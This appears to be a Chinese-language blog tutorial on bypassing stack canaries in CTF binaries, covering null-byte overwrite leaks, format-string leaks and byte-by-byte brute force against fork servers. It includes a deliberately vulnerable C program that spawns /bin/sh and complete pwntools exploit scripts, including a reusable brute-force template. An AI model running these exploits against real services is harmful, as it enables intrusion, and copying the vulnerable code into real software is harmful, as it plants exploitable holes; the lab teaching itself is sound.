前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Pwn-多方式绕过Canary

Pwn-多方式绕过Canary

作者头像
偏有宸机
修改2023-09-23 19:23:47
3K0
修改2023-09-23 19:23:47
举报
文章被收录于专栏:宸机笔记

原理

由于cannery保护就是在距离EBP一定距离的栈帧中,用于验证是否程序有构造缓冲区的危险。而cannery所在的位置一般也都在EBP-8的位置上存储着,因此 只要有机会泄露cannery的位置,我们便有机会溢出程序

泄露方式

覆盖00字节读取

原理

由于canary是在栈中的,而一般情况下为防止read、printf等函数直接读出canary的数据,canary都是以\x00为结尾设计的。这时我们可以利用换行符在将buf填充满之后会将\x0a覆盖至canary结尾的\x00覆上,这样就能顺利的读出canary的数据了,之后再将cannary-\x0a即可得到真实的canary的数据

利用条件

  • 存在read/printf等读出字符串的函数
  • 可以两次栈溢出
    • 第一次是覆盖00字节,泄露canary
    • 第二次是利用canary进行攻击

示例

代码语言:javascript
复制
//gcc a.c -no-pie -m32 -fstack-protector -z noexecstack -o a
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}

void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

buf的大小在100字节,但是在canary保护下当输入的数据超过100字节后就会触发canary,不过当我们正好输入100个字符时,末尾自动添加的换行符\x0a便会将canary末尾的\x00覆盖,这样的话,程序代码中的printf(buf)就直接能将canary的内容读取出来了,之后再减去\x0a,拿canary的值填充至栈中,即可绕过canary保护完成栈溢出。

可以看到蓝框中的便是canary,末尾已经被0a填充,此时的canary是可以被printf直接读出的。

代码语言:javascript
复制
#coding=utf-8
# from pwn import *

from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"

sh = process("./cover_00")
elf = ELF("./cover_00")

padding = 100*"A"
sh.recvuntil("Hello Hacker!\n")
sh.sendline(padding)
sh.recvuntil(padding)
canary=u32(sh.recv(4))
canary = canary-ord('\n') 
#由于canary的最后两字节被buf的换行符oa所覆盖,这里要减去才是真正的canary
success("Canary data => 0x%x",canary)
payload = padding
payload += p32(canary)
payload += "distance"   #距离EBP的位置
payload += "ERet"       #EBP的ret  
payload += p32(elf.sym['getshell'])
sh.sendline(payload)
sh.interactive()

格式化字符串读取

原理

利用格式化字符串漏洞的任意读

由于canary的最低字节是0x00,所以不能用%s的格式当作字符串来读,而应该使用%p或者%x等当作一个数来读

条件

存在格式化字符串漏洞

示例

还是上面的程序,看源代码有print(buf)一行出现了格式化字符串漏洞,我们可以试着多打印一些地址的内容,找末尾始终为00的一串数据

在第31处便是我们要寻找的canary了,可以使用%31$p直接打印出来,之后的步骤同上一方法。

代码语言:javascript
复制
# coding:utf-8
from pwn import *
context.terminal=['tmux',"splitw","-h"]
context.log_level='debug'

sh = process("./cover_00")
elf = ELF("./cover_00")

payload1 = '%'+str(31)+'$'+'p'
sh.recvuntil("Hello Hacker!\n")
sh.sendline(payload1)
sh.recvuntil("0x")
canary=int(sh.recv(8),16)
success("canary => "+hex(canary))
payload2 = "a"*100
payload2 += p32(canary)
payload2 += "b"*8+"b"*4
payload2 += p32(elf.sym['getshell'])
sh.sendline(payload2)
sh.interactive()

One by one 爆破猜解

原理

对于canary,虽然每次进程重启后canary会不同,但是同一个进程中的不同线程的canary却是相同的,并且通过fork函数创建的子进程中的canary也是相同的,因为fork函数会直接拷贝父进程的内存

最低位为0x00,之后逐位爆破,因此32位的话要循环3次、64位的则需要循环7次,每次从ascii码中取。

如果某一位爆破成功 \x00\xXX将会覆盖当前的canary末尾的这两位,使之程序认为这便是原有的canary,所以程序会继续运行,反之则会报错,由此来判断是否爆破成功(这里 愚钝的我思考了很久很久…)。

利用条件

要求程序中有fork函数,可以使程序扩展子程序

示例

blasting_canary

IDA打开可以看到程序中有一个fork()函数再一直创建子程序, 基本步骤和上面一样,先填充100个字符占满buf之后我们一一尝试canary的前三个字节,利用不成功则崩溃的原理,我们可以写个循环挨个尝试每一位

代码语言:javascript
复制
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
sh = process("./blasting_canary")
elf = ELF("./blasting_canary")
sh.recvuntil('welcome\n')
canary = '\x00'
for k in range(3):
  for i in range(256):
​    print "-------------  No." + str(k) + ":" + chr(i)+"  -------------"
​    sh.send('a'*100 + canary + chr(i))
​    recv = sh.recvuntil("welcome\n")
​    print recv
​    if "sucess" in recv:
​        #当前字符i传入程序后可以接受到程序正常的反馈信息,则代表正确
​        canary += chr(i)
​        #将其加入已知的canary中,继续爆破下一位
​        success("canary =>"+canary)
​        break
getshell = 0x0804863B
payload = 'A' * 100 + canary + 'A' * 12 + p32(getshell)
sh.send(payload)
sh.interactive()

模板

代码语言:javascript
复制
#coding:utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'

bin_elf = "./blasting_canary"
#global sh 
sh = process(bin_elf)
elf = ELF(bin_elf)

def blasting(offset,input_prompt):
    #偏移量,输入提示,正确提示
    sh.recvuntil(input_prompt+'\n')
    canary = '\x00'
    for k in range(3):
        for i in range(256):
            success("Canary ->"+canary)
            print "\n-------------   No." + str(k) + ":" + chr(i)+"   -------------"
            sh.send('A'*offset + canary + chr(i))
            recv = sh.recvuntil(input_prompt+"\n")
            print "----"+recv
            if "stack smashing detected" in recv:
                continue
            else:
                #当前字符i传入程序后可以接受到程序正常的反馈信息,则代表正确
                canary += chr(i)
                #将其加入已知的canary中,继续爆破下一位
                success("Canary =>"+canary)
                break
    return canary

canary = blasting(100,"welcome")
payload = 'A' * 100 + canary + 'A' * 12 + p32(0x0804863B)
sh.send(payload)
sh.interactive()

学习参考

https://blog.csdn.net/chennbnbnb/article/details/103968714 https://blog.csdn.net/AcSuccess/article/details/104119680?utm_medium=distribute.pc_relevant_t0.none-task-blog-blogcommendfrommachinelearnpai2-1.nonecase&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-blogcommendfrommachinelearnpai2-1.nonecase https://www.52pojie.cn/thread-932096-1-1.html

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-09-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 原理
  • 泄露方式
    • 覆盖00字节读取
      • 原理
      • 利用条件
      • 示例
    • 格式化字符串读取
      • 原理
      • 条件
      • 示例
    • One by one 爆破猜解
      • 原理
      • 利用条件
      • 示例
      • 模板
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档